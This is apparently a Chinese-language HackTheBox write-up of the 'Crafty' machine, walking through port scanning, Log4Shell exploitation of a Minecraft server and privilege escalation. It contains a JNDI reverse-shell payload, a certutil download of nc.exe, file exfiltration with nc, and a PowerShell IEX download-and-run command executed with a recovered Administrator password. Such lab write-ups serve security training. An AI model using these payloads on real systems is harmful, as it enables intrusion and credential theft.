目录
信息收集
rustscan
┌──(root㉿ru)-[~/kali/hackthebox]
└─# rustscan -a 10.10.11.249 --range=0-65535 --ulimit=5000 -- -A -sC
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.249:80
Open 10.10.11.249:25565
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -sC -vvv -p 80,25565 10.10.11.249
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 13:37 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Initiating Ping Scan at 13:37
Scanning 10.10.11.249 [4 ports]
Completed Ping Scan at 13:37, 2.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:37
Scanning crafty.htb (10.10.11.249) [2 ports]
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 13:37, 0.30s elapsed (2 total ports)
Initiating Service scan at 13:37
Scanning 2 services on crafty.htb (10.10.11.249)
Completed Service scan at 13:37, 9.57s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against crafty.htb (10.10.11.249)
Retrying OS detection (try #2) against crafty.htb (10.10.11.249)
Initiating Traceroute at 13:37
Completed Traceroute at 13:37, 0.30s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:37
Completed Parallel DNS resolution of 1 host. at 13:37, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
NSE: Script scanning 10.10.11.249.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 6.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 3.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Nmap scan report for crafty.htb (10.10.11.249)
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2024-03-07 13:37:12 CST for 31s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
25565/tcp open minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=3/7%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65E952A7%P=x86_64-pc-linux-gnu)
SEQ(TI=I%II=I%SS=S%TS=U)
SEQ(SP=101%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Network Distance: 2 hops
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 276.70 ms 10.10.14.1
2 276.75 ms crafty.htb (10.10.11.249)
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 seconds
Raw packets sent: 100 (8.148KB) | Rcvd: 33 (2.040KB)
从这可以看出。目标主机是一台windows主机,使用的是IIS 10.0服务器!
而且出现域名 crafty.htb ,我们加入到hosts文件中!
本台机器一共开放了两个端口 80和25565端口!
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
25565/tcp open minecraft syn-ack ttl 127 Minecraft 1.16.5
whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb http://crafty.htb/
http://crafty.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]
WEB
在主页发现子域名!经过尝试,没啥用!使用端口扫描器也没有探查到什么有用的东西!
但是25565端口经过访问,发现有用的东西!
没错,就是这串java代码!我记得25565存在log4j漏洞!
确切地说,是 CVE-2021–44228。这个漏洞允许我们控制日志消息和参数来执行任意代码!!!
以下是此漏洞的poc!!!我们下载到本地去!
漏洞利用
漏洞说明
因为目标主机是windows,所以我们改成 cmd.exe
为了让“poc.py”顺利运行,我们需要一个名为“jdk1.8.0_20”的java存档。我找到了一个java存档
https://repo.huaweicloud.com/java/jdk/8u181-b13/
我们需要把他下载到log4j的目录内!
下载链接: https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
解压出来
tar -xf jdk-8u181-linux-x64.tar.gz
然后我们需要下载一个PyCraft ,它由 Python 编写的 Minecraft 客户端,它允许玩家使用 Python 编程语言来控制 Minecraft 游戏中的各种元素,
包括创建自动化过程、修改游戏中的世界、添加新功能等。
我们需要下载一个,因为根据网站页面提示,就是mc服务器存在漏洞!版本是1.16.5
然后,我们需要设置一个虚拟环境供 pyCraft 运行
virtualenv ENV
source ENV/bin/activate
pip install -r requirements.txt
------------------------------------
virtualenv ENV: 这是创建一个名为 ENV 的虚拟环境的命令。虚拟环境用于隔离项目的依赖,确保项目中使用的库和工具不会与系统中的其他项目冲突。
source ENV/bin/activate: 这是激活虚拟环境的命令。在虚拟环境中运行的所有命令和脚本将使用该环境中的 Python 解释器和依赖项。
pip install -r requirements.txt: 这是使用 pip 安装项目所需的依赖项的命令。通常,项目的依赖项会列在一个名为 requirements.txt 的文件中,
该命令会根据该文件安装所有必要的库。
漏洞验证
做完这些,我们需要一个监听器!我们需要利用log4j的poc,在此mc的服务器上进行反弹shell,所以需要一个监听器!
只需要输入Mojang的账号密码即可!但是我懒得注册,所以我们采用另一种方式
就是直接去下载相应版本的游戏,因为该漏洞是存在mc游戏服务器里面的!我们只需要下载相应版本的游戏,再连接服务器,再次执行log4j漏洞的payload,即可触发该漏洞!
先在官网下载debian版本的mc,然后打开程序,下载一个版本是1.16.5的mc即可!然后打开!
打开发现是试玩模式,无法远程连接服务器,需要另外的解决办法
经过我不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下
先安装一个TLauncher的jdk1.8依赖环境,我们已经安装好了!(记得改个名字 : jdk1.8.0_20)
然后,我们去 https://tlauncher.org/en/ 下载一个 TLauncher
将TLauncher解压后,会有一个jar文件,将其放到下载的jdk的文件夹下,然后启动即可!
会先下载一个库,比较慢!
完成更新之后,随便写一个名字,游戏版本选择 1.16.5版本!即可开始游戏!!
这样就完成了!
选择多人游戏 --> 添加服务器 --> 10.10.11.249:25565 即可!
在游戏的聊天框(按/,然后删除)中发送之前监听的payload : ${jndi:ldap://10.10.14.29:1389/a}
这样就反弹shell了!
提权
get user.txt
在桌面找到user.txt
get Administrator
在plugins目录下,找到一个jar文件!
我们想办法下载到本地去!使用nc即可,我们先上传一个为windows版nc! (或者使用powershell,因为这个太简单了,所以尝试nc)
certutil.exe -urlcache -split -f http://10.10.14.29:7890/nc.exe nc.exe
certutil.exe:Windows 自带的证书工具程序
在kali开启 nc -lp 3434 > playercounter-1.0-SNAPSHOT.jar 进行接收文件!
在windows上,把jar文件传给kali: .\nc.exe 10.10.14.29 3434 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
我们使用查看jar包的软件进行查看jar包!
我的建议是使用 JD-GUI 可以查看源码安装方便 apt-get install jd-gui 即可!
我们在源码中发现一个类似于密码的字符串!可能是管理员的!我们尝试!
1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred
这是一个 PowerShell 脚本用于创建一个凭据对象、以管理员身份启动 PowerShell 进程并下载执行 shell.ps1 脚本。
这段代码做了以下几件事情:
1. 创建一个 SecureString 对象 `$SecPass`,并将字符串 `'s67u84zKq8IXw'` 转换为一个安全字符串,用于保存密码。
2. 创建一个 PScredential 对象 `$cred`,该对象使用用户名 `'Administrator'` 和上一步创建的安全字符串作为密码。
3. 使用 Start-Process 命令启动一个新的 PowerShell 进程。命令的参数 `-FilePath "powershell"` 表示要执行的文件是 PowerShell,而 `-argumentlist` 参数指定了要传递给 PowerShell 的命令。
4. 在 `-argumentlist` 中,使用 IEX(Invoke-Expression)和 Net.WebClient 的 downloadString 方法来下载执行位于 `http://10.10.14.29:5454/shell.list` 的远程 PowerShell 脚本。此处的 URL 指向远程服务器上的 shell.ps1 脚本文件。下载的脚本将在以管理员身份启动的 PowerShell 进程中执行。
5. `-Credential $cred` 参数将之前创建的凭据对象传递给新启动的 PowerShell 进程,以确保以管理员身份运行该脚本。
shell.list 自己去生成! 里面的监听端口设置随意的即可!我设置的9999监听端口!
1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred
总结
通过 nmap 扫描识别出 HTTP 网页和 Minecraft 服务器。
扫描显示服务器正在运行 IIS 10.0 — IIS 冗长并不是最佳实践。Nmap 服务版本很详细,可以轻松枚举漏洞。
端口 25565 上的 Minecraft 服务器被识别为 v1.16.5,该服务器存在已知的 Log4j 漏洞,如 CVE-2021-44228 中记录的那样。
该漏洞允许服务器上的用户输入简单的有效负载来获取服务器上的 shell。虽然某些权限可以限制损害,但存在一种允许使用管理员权限进行权限升级的方法。
这个将危及用户的机密性,并可能导致服务器的完整性和可用性面临风险。最佳办法就是要求服务器立即修补或更新到最新版本